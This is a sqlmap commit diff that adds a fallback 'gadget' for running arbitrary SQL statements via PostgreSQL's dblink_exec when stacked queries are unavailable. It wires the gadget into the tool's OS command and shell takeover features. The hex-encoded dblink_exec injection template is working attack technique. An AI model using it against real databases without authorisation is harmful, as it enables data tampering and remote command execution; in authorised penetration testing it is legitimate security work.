Skip to content

Commit 529fc7a

Browse files
committed
Adding gadget fallback for non-query statement execution without stacked queries (PostgreSQL dblink)
1 parent 8a3b312 commit 529fc7a

7 files changed

Lines changed: 58 additions & 3 deletions

File tree

data/xml/queries.xml

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -137,6 +137,10 @@
137137
<inband query="SELECT n.nspname||'.'||p.proname||' ['||(CASE p.provolatile WHEN 'v' THEN 'VOLATILE' WHEN 's' THEN 'STABLE' ELSE 'IMMUTABLE' END)||(CASE WHEN p.prosecdef THEN '/DEFINER' ELSE '/INVOKER' END)||']: '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
138138
<blind query="SELECT n.nspname||'.'||p.proname||' ['||(CASE p.provolatile WHEN 'v' THEN 'VOLATILE' WHEN 's' THEN 'STABLE' ELSE 'IMMUTABLE' END)||(CASE WHEN p.prosecdef THEN '/DEFINER' ELSE '/INVOKER' END)||']: '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema') ORDER BY n.nspname,p.proname OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
139139
</procedures>
140+
<gadgets>
141+
<!-- Out-of-technique statement execution when stacked queries are not available (e.g. WHERE clause injection). The '%s' placeholder receives the hex-encoded statement, rebuilt server-side to survive string escaping. -->
142+
<dblink check="(SELECT COUNT(*) FROM pg_extension WHERE extname='dblink')&gt;0" command="(SELECT LENGTH(dblink_exec('dbname='||current_database(),CONVERT_FROM(DECODE('%s','hex'),'UTF8'))))"/>
143+
</gadgets>
140144
<dbs>
141145
<inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
142146
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>

lib/core/option.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2255,6 +2255,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
22552255
kb.forkNote = None
22562256
kb.futileUnion = None
22572257
kb.fuzzUnionTest = None
2258+
kb.gadget = None
22582259
kb.heavilyDynamic = False
22592260
kb.headersFile = None
22602261
kb.headersFp = {}

lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from thirdparty import six
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.10.8.47"
23+
VERSION = "1.10.8.48"
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2626
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

lib/request/inject.py

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -48,6 +48,9 @@
4848
from lib.core.data import kb
4949
from lib.core.data import logger
5050
from lib.core.data import queries
51+
from lib.core.convert import encodeHex
52+
from lib.core.convert import getBytes
53+
from lib.core.convert import getUnicode
5154
from lib.core.decorators import lockedmethod
5255
from lib.core.decorators import stackedmethod
5356
from lib.core.dicts import FROM_DUMMY_TABLE
@@ -834,6 +837,36 @@ def _(value):
834837

835838
return extractExpectedValue(value, expected)
836839

840+
def getGadget():
841+
"""
842+
Returns a 'gadget' (a side-effecting scalar expression usable through a
843+
regular - e.g. boolean/time-based - injection) that can run an arbitrary
844+
statement when stacked queries are not available (e.g. dblink_exec() on
845+
PostgreSQL). Detection is done once and cached inside 'kb.gadget'.
846+
"""
847+
848+
if kb.gadget is None:
849+
kb.gadget = False
850+
851+
dbms = Backend.getIdentifiedDbms()
852+
853+
if dbms is not None and "gadgets" in queries[dbms]:
854+
for name, gadget in queries[dbms].gadgets.__dict__.items():
855+
try:
856+
available = checkBooleanExpression(gadget.check)
857+
except Exception:
858+
available = False
859+
860+
if available:
861+
infoMsg = "using '%s' gadget to run statement(s) as " % name
862+
infoMsg += "stacked queries are not available"
863+
logger.info(infoMsg)
864+
865+
kb.gadget = gadget
866+
break
867+
868+
return kb.gadget or None
869+
837870
def goStacked(expression, silent=False):
838871
if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data:
839872
setTechnique(PAYLOAD.TECHNIQUE.STACKED)
@@ -849,6 +882,18 @@ def goStacked(expression, silent=False):
849882
if conf.direct:
850883
return direct(expression)
851884

885+
if PAYLOAD.TECHNIQUE.STACKED not in kb.injection.data:
886+
gadget = getGadget()
887+
888+
if gadget:
889+
warnMsg = "statement execution through a gadget is best-effort "
890+
warnMsg += "and its result (if any) can not be retrieved"
891+
singleTimeWarnMessage(warnMsg)
892+
893+
payload = getUnicode(gadget.command) % getUnicode(encodeHex(getBytes(expression), binary=False))
894+
checkBooleanExpression("(%s) IS NOT NULL" % payload)
895+
return
896+
852897
query = agent.prefixQuery(";%s" % expression)
853898
query = agent.suffixQuery(query)
854899
payload = agent.payload(newValue=query)

plugins/dbms/postgresql/takeover.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -102,7 +102,7 @@ def uncPathRequest(self):
102102
def copyExecCmd(self, cmd):
103103
output = None
104104

105-
if isStackingAvailable() or conf.direct:
105+
if isStackingAvailable() or conf.direct or inject.getGadget():
106106
# Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
107107
self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
108108
self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)

plugins/generic/custom.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -71,7 +71,7 @@ def sqlQuery(self, query):
7171
output[i] = joinValue(output[i])
7272

7373
return output
74-
elif not isStackingAvailable() and not conf.direct:
74+
elif not isStackingAvailable() and not conf.direct and not inject.getGadget():
7575
warnMsg = "execution of non-query SQL statements is only "
7676
warnMsg += "available when stacked queries are supported"
7777
logger.warning(warnMsg)

plugins/generic/takeover.py

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,7 @@
2727
from lib.core.exception import SqlmapSystemException
2828
from lib.core.exception import SqlmapUndefinedMethod
2929
from lib.core.exception import SqlmapUnsupportedDBMSException
30+
from lib.request import inject
3031
from lib.takeover.abstraction import Abstraction
3132
from lib.takeover.icmpsh import ICMPsh
3233
from lib.takeover.metasploit import Metasploit
@@ -46,6 +47,8 @@ def __init__(self):
4647
def osCmd(self):
4748
if isStackingAvailable() or conf.direct:
4849
web = False
50+
elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
51+
web = False
4952
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
5053
infoMsg = "going to use a web backdoor for command execution"
5154
logger.info(infoMsg)
@@ -68,6 +71,8 @@ def osCmd(self):
6871
def osShell(self):
6972
if isStackingAvailable() or conf.direct:
7073
web = False
74+
elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
75+
web = False
7176
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
7277
infoMsg = "going to use a web backdoor for command prompt"
7378
logger.info(infoMsg)

0 commit comments

Comments
 (0)